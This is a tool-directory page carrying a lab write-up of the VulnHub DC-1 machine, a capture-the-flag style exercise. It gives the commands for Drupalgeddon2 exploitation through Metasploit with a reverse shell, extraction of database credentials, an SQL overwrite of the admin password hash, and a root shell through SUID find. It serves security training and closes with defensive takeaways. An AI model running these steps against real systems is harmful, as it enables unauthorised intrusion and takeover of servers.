Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
VulnHub-DC1-Writeup β€” VulnHub DC-1 boot-to-root β€” exploiting CVE-2018-7600 (Drupalgeddon2) for RCE, extracting DB credentials from settings.php, forging admin password hash, and escalating to root via SUID find. | Kitploit
Tools/GitHubGitHub/prapul1/vulnhub-dc1-writeup
Privilege EscalationReconnaissanceExploit FrameworksPort ScanningVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTF
Share
Penetration Testing
Misconfiguration
Learning & Education
GitHubprapul1/vulnhub-dc1-writeup

VulnHub-DC1-Writeup

VulnHub DC-1 boot-to-root β€” exploiting CVE-2018-7600 (Drupalgeddon2) for RCE, extracting DB credentials from settings.php, forging admin password hash, and escalating to root via SUID find.

View Repository
155Jun 25, 2026Not yet reviewed

VulnHub-DC1-Writeup

"Penetration testing lab writeups documenting full attack chains β€” from recon to root."

πŸ”“ VulnHub β€” DC-1 Boot-to-Root Writeup

Difficulty: Beginner–Intermediate
Platform: VulnHub
Goal: Capture all 4 flags and achieve full root-level compromise
Attacker OS: Kali Linux (VirtualBox β€” NAT Network)
Target OS: Debian Linux (Drupal 7 CMS)


πŸ“Œ Table of Contents

  1. Lab Setup
  2. Reconnaissance & Enumeration
  3. Exploitation β€” Remote Code Execution
  4. Post-Exploitation β€” Shell Stabilization
  5. Flag 1 β€” Web Server Enumeration
  6. Flag 2 β€” Database Credential Extraction
  7. Flag 3 β€” Admin Panel Access via Hash Manipulation
  8. Flag 4 & Root β€” SUID Privilege Escalation
  9. Skills & Tools Summary
  10. Key Takeaways

πŸ›  Lab Setup

ComponentDetails
HypervisorVirtualBox
Network ModeNAT Network (both VMs on same subnet)
Attacker MachineKali Linux
Target MachineDC-1 (VulnHub)
Target IP10.0.2.3 (discovered via arp-scan)

Both virtual machines were configured under the same NAT Network in VirtualBox to allow inter-VM communication while maintaining an isolated lab environment.


πŸ” Reconnaissance & Enumeration

Host Discovery

Used arp-scan to identify all active hosts on the local subnet:

sudo arp-scan -l

Result: Target identified at 10.0.2.3

Service & Port Scanning

Ran a full Nmap scan with version detection and default scripts:

sudo nmap -sV -sC 10.0.2.3

Key findings:

PortServiceVersion
22/tcpSSHOpenSSH 6.0p1
80/tcpHTTPApache 2.2.22
111/tcprpcbindβ€”

πŸ”‘ Critical: Nmap explicitly identified the web application as Drupal 7 via HTTP generator headers β€” confirming a known vulnerable CMS version.


πŸ’₯ Exploitation β€” Remote Code Execution

Vulnerability: Drupalgeddon2 (CVE-2018-7600)

Drupal 7 is affected by a critical Remote Code Execution (RCE) vulnerability in its Form API. An unauthenticated attacker can send a crafted HTTP request that the backend executes as a system command β€” without any authentication required.

Launched Metasploit Framework:

msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit

Result: Meterpreter reverse shell opened successfully as www-data (the web server process user).


🐚 Post-Exploitation β€” Shell Stabilization

Dropped from Meterpreter into a native Linux shell and stabilized it using Python PTY:

shell
python -c 'import pty; pty.spawn("/bin/bash")'

Result: Fully interactive bash shell as www-data@DC-1 inside /var/www


🚩 Flag 1 β€” Web Server Enumeration

ls -la /var/www
cat flag1.txt

Flag 1 Contents:

Every good CMS needs a config file - and so do you.

πŸ’‘ Hint: Points directly to the Drupal configuration file β€” settings.php


🚩 Flag 2 β€” Database Credential Extraction

Navigated to the Drupal config directory and inspected the settings file:

cd /var/www/sites/default
cat settings.php

Discovered credentials embedded in the $databases array:

FieldValue
Databasedrupaldb
Usernamedbuser
PasswordR0ck3t

Flag 2 Contents (from file comments):

Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?

πŸ’‘ Hint: Use credentials to access the MySQL backend β€” without brute forcing anything.


🚩 Flag 3 β€” Admin Panel Access via Hash Manipulation

Step 1: Database Enumeration

mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;

Found hashed passwords for admin and fred β€” both using Drupal's $S$ hashing scheme (SHA-512 based).

Step 2: Forge a Custom Password Hash

Instead of cracking the existing hash, used Drupal's own built-in PHP script to generate a new one:

cd /var/www
php scripts/password-hash.sh password123

Output: A valid $S$D... hash for password123

Step 3: Overwrite Admin Password via SQL

use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';

Logged into http://10.0.2.3 as admin / password123 successfully.

Flag 3 Contents (found in Drupal admin content panel):

Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.

πŸ’‘ Hint: SUID binary misconfiguration on the find command β€” privilege escalation vector identified.


🚩 Flag 4 & Root β€” SUID Privilege Escalation

Step 1: Enumerate System Users

cat /etc/passwd

Located user flag4 with home directory at /home/flag4.

cat /home/flag4/flag4.txt

Flag 4 Contents:

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

Step 2: SUID Exploitation via find

The find binary had the SUID bit set, meaning it executes with the file owner's privileges (root) regardless of who runs it.

find . -exec /bin/sh \;
whoami
# root

Step 3: Root Flag

cd /root
cat thefinalflag.txt
Well done!!! Hope you enjoyed DC-1!

Full root compromise achieved. βœ…


πŸ›  Skills & Tools Summary

Tools Used

ToolPurpose
arp-scanHost discovery on local subnet
nmapPort scanning & service fingerprinting
Metasploit FrameworkCVE-2018-7600 exploit delivery & reverse shell
MySQL CLIDatabase enumeration & credential manipulation
PHP (password-hash.sh)Native Drupal hash generation
Python PTYShell stabilization
VirtualBoxIsolated lab environment setup

Skills Demonstrated

  • βœ… Network Reconnaissance & Host Discovery
  • βœ… Service Fingerprinting & CMS Identification
  • βœ… CVE Research & Public Exploit Utilization
  • βœ… Metasploit Framework β€” Payload Deployment
  • βœ… Post-Exploitation & Lateral Movement
  • βœ… Database Enumeration & Credential Extraction
  • βœ… Password Hash Forging & SQL Injection via CLI
  • βœ… Linux SUID Binary Auditing
  • βœ… Privilege Escalation to Root

πŸ“š Key Takeaways

From an offensive perspective:

  • Unpatched CMS platforms (even 1–2 major versions behind) are trivially exploitable via public CVEs and Metasploit modules.
  • Configuration files like settings.php frequently contain plaintext credentials that pivot an attacker from web access to full database control.
  • SUID misconfigurations on common binaries like find, vim, or python are one of the most reliable privilege escalation vectors in Linux environments.

From a defensive perspective:

  • Always patch CMS platforms promptly β€” Drupalgeddon2 had patches available; the vulnerability was the delay in applying them.
  • Secrets (DB credentials) must never live in web-accessible config files without encryption or environment variable abstraction.
  • Regularly audit SUID binaries: find / -perm -4000 -type f 2>/dev/null should be part of any Linux hardening checklist.

⚠️ Disclaimer

This writeup is strictly for educational purposes and documents activity performed in an isolated, legal lab environment. Never attempt these techniques against systems you do not own or have explicit written permission to test.


Download Tool

Related Tools

  • PEASS-ng

    PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

  • PrivescCheck

    Privilege Escalation Enumeration Script for Windows

  • LinEnum

    Scripted Local Linux Enumeration & Privilege Escalation Checks

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    2.3k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    819
  • 3

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    446
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    383
  • 5

    faraday

    infobyte/faraday

    Open-source and AI-powered cybersecurity tools for offensive security, vulnerability management, and autonomous pentesting. Built by hackers in Latin America, used worldwide.

    342
  • 6

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    336

Explore all tools

Browse our collection of tools

View all tools β†’